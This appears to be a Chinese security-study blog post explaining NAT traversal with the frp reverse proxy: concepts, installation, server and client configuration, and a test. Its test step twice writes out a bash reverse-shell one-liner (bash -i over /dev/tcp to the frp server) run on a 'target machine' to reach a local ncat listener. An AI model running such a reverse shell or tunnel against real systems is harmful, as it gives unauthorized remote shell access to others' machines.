码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • 通过Frp解决实现内网穿透


    本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记

    文章目录

      • 前文链接
      • 介绍
        • 内网穿透
        • 内网穿透工具
        • frp
      • 使用实例
      • 安装
      • 服务端配置
        • 服务端启动
      • 客户端配置
        • 客户端启动
      • 测试

    前文链接

    1. WAMP/DVWA/sqli-labs 搭建
    2. burpsuite工具抓包及Intruder暴力破解的使用
    3. 目录扫描,请求重发,漏洞扫描等工具的使用
    4. 网站信息收集及nmap的下载使用
    5. SQL注入(1)——了解成因和手工注入方法
    6. SQL注入(2)——各种注入
    7. SQL注入(3)——SQLMAP
    8. SQL注入(4)——实战SQL注入拿webshell
    9. Vulnhub靶机渗透之Me and My Girlfriend
    10. XSS漏洞
    11. 文件上传漏洞
    12. 文件上传绕过
    13. 文件包含漏洞
    14. Vulnhub靶机渗透之zico2
    15. 命令执行漏洞
    16. 逻辑漏洞(越权访问和支付漏洞)
    17. 网站后台安全
    18. weevely的使用及免杀(Linux中的菜刀)
    19. MSF(1)——一次完整的渗透流程
    20. WebShell命令执行限制(解决方案)
    21. 记一次艰难的SQL注入(过安全狗)
    22. MSF(2)——各种木马的生成及简单的免杀
    23. MSF(3)——apk和exe的加马(过360、火绒)

    介绍

    内网穿透

    内网穿透,也即 NAT 穿透,进行 NAT 穿透是为了使具有某一个特定源 IP 地址和源端口号的数据包不被 NAT 设备屏蔽而正确路由到内网主机。
    摘自:百度百科

    简单来说,ipv4的ip是有限的,大概256^4个,差不多42.9亿个,如果每台设备都分配一个ip,那ip很快就不够分了。因此,提出了内网域的概念。

    我们平时使用的计算机,如果在命令行中输入ipconfig或者ip a,可以看到自己的ip地址。
    在这里插入图片描述
    这里我的ip是192.168.1.9,这是一个内网的ip,中国电信提供的内网ip都是:192.168.*.* ,这样有了内网域,再配合网关,就可以实现几台计算机共享一个ip。这样的一个环境统称局域网。多个局域网交织在一起,叫做广域网。

    但这样就会出现一个问题,我的电脑是在内网环境中,如果其他计算机想与我建立通信,是无法连接到我的计算机的。

    假如我们想要建立一个网站,或者对外提供某项服务。关于网络安全的,ncat监听,msfconsole监听,都需要其他计算机进行主动连接,但由于我是内网环境,无法直接连接,导致无法实现。

    获取公网ip的方法网上教程很多,可以自行查询。

    在这里介绍内网穿透技术。

    内网穿透技术的工作方式大概可以通过这样一张图表示
    在这里插入图片描述
    通过间接的方式实现攻击机和目标机的连接。

    内网穿透工具

    在这里推荐我之前一直用的内网穿透工具:Sakura frp
    官网:https://www.natfrp.com/
    通过该软件,可以轻松实现内网穿透,普通用户可添加两条隧道,限速为10mb/s,每天可以签到拿流量

    这个软件,注册是免费的,开隧道是免费的,搭服务也是免费的,但签到要实名,实名资格要一块钱。

    该软件不是今天介绍的重点,感兴趣的可以自行了解

    frp

    frp 是一个高性能的反向代理应用,支持 tcp, udp, http, https 协议。
    摘自:百度百科

    这里需要有一台公网服务器,最好是linux的,获取方式大家懂得都懂,如果没有的话可以走了。

    使用实例

    在这里举一个实例。
    首先这里有三台计算机,两台有公网ip,一台,即我自己的计算机,内网。
    由于是真实环境,所有IP我都会进行处理
    Server:121.-.-.-
    Target:60.-.-.-
    Me:192.168.1.9

    首先在公网服务器上,开启frps服务

    接下来在自己电脑上运行frpc
    在这里插入图片描述
    此时内网穿透已经建立成功。

    其中,我讲自己电脑上的1234端口映射到远程服务器的6000端口,在本地我打开ncat监听
    在这里插入图片描述

    在目标机上执行回显命令

    bash -c 'exec bash -i &>/dev/tcp/121.-.-.-/6000 <&1'
    
    • 1

    在这里插入图片描述
    可以看到我自己的电脑成功收到了回显

    在这里插入图片描述

    安装

    GitHub:https://github.com/fatedier/frp/releases
    去官网分别下载相同版本的linux和windows的压缩包(根据自身情况而定)
    例如,我在这里下的是这两个
    在这里插入图片描述
    windows系统直接解压即可
    在这里插入图片描述
    把Linux的压缩包移到服务器上,输入

    tar -zxvf frp_0.44.0_linux_amd64.tar.gz
    
    • 1

    解压
    在这里插入图片描述

    服务端配置

    给文件夹先改个名字
    在这里插入图片描述
    cd进去,可以看到
    在这里插入图片描述
    其中,frps是服务器端的启动文件,frps.ini是配置文件

    vim编辑frps.ini,修改内容如下

    [common]
    bind_port = 7030
    dashboard_port = 7500
    dashboard_user = admin
    dashboard_pwd = password
    log_file = ./frps.log
    max_pool_count = 50
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    参数

    • bing_port :重要,自己的电脑连接的端口
    • dashboard_port : Web端的端口
    • dashboard_user :Web端登录账号
    • dashboard_pass :Web端登录密码
    • log_file :日志输出位置
    • max_pool_count :最大连接数

    这里像我一样配置就好了,当然,你也可以自己改
    在这里插入图片描述

    服务端启动

    输入

    ./frps -c ./frps.ini
    
    • 1

    启动
    在这里插入图片描述
    此时访问该服务器的7500端口,看到web界面即为启动成功
    在这里插入图片描述
    用户名和密码是之前配置文件的用户名和密码,比如我配置的是admin:password
    在这里插入图片描述

    客户端配置

    修改frpc.ini

    [common]
    server_addr = 服务端的IP
    server_port = 7030
    
    [reverse1]
    type = tcp
    local_ip = 127.0.0.1
    local_port = 1234
    remote_port = 6000
    
    [reverse2]
    type = tcp
    local_ip = 127.0.0.1
    local_port = 7777
    remote_port = 6001
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    参数:

    • server_addr : 服务器的IP
    • server_port : 服务器配置的端口

    类似

    [reverse1]
    type = tcp
    local_ip = 127.0.0.1
    local_port = 1234
    remote_port = 6000
    
    • 1
    • 2
    • 3
    • 4
    • 5

    就是我配置的内网穿透,在这里我分别开了两条隧道,分别打到我的1234端口和7777端口,对应服务器的6000和6001端口

    想要开隧道就像这样开就好了,type表示协议

    客户端启动

    命令行输入:

    frpc.exe -c frpc.ini
    
    • 1

    在这里我是建了一个bat文件,方便启动

    启动如下
    在这里插入图片描述

    注:要先启动服务端,否则就是这样

    在这里插入图片描述
    启动之后,web界面可以看到开启的隧道
    在这里插入图片描述

    测试

    在这里以本地端口的1234,对应远程端口6000测试

    本地ncat监听

    ncat -lvvp 1234
    
    • 1

    目标靶机执行回显指令

    bash -c 'exec bash -i &>/dev/tcp/xx.xx.xx.xx/6000 <&1'
    
    • 1

    成功回显
    在这里插入图片描述

    此时在web端可看到传输了数据
    在这里插入图片描述

  • 相关阅读:
    Maven介绍、优缺点、生命周期、坐标、依赖...
    2022年0704-Com.Java.Basis 第十四课 《File类 +IO流》简称字节的Ctrl+A Ctrl+C Ctrl+V
    IDEA 新建 Maven 项目没有文件结构 pom 文件为空 解决方法
    华为的仓颉和ArkTS这两门语言有什么区别
    不care工具,在大数据平台中Hive能自动处理SQL
    React 窗口防抖_ 提升网页性能的利器
    3、《创建您自己的NFT集合并发布一个Web3应用程序来展示它们》在本地铸造 NFT
    MyBatis加强(2)~mybatis 插件开发 【分页插件-PageHelper】
    JSON数据传递参数
    【Qt开发流程】之富文本处理
  • 原文地址:https://blog.csdn.net/realmels/article/details/126422508
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号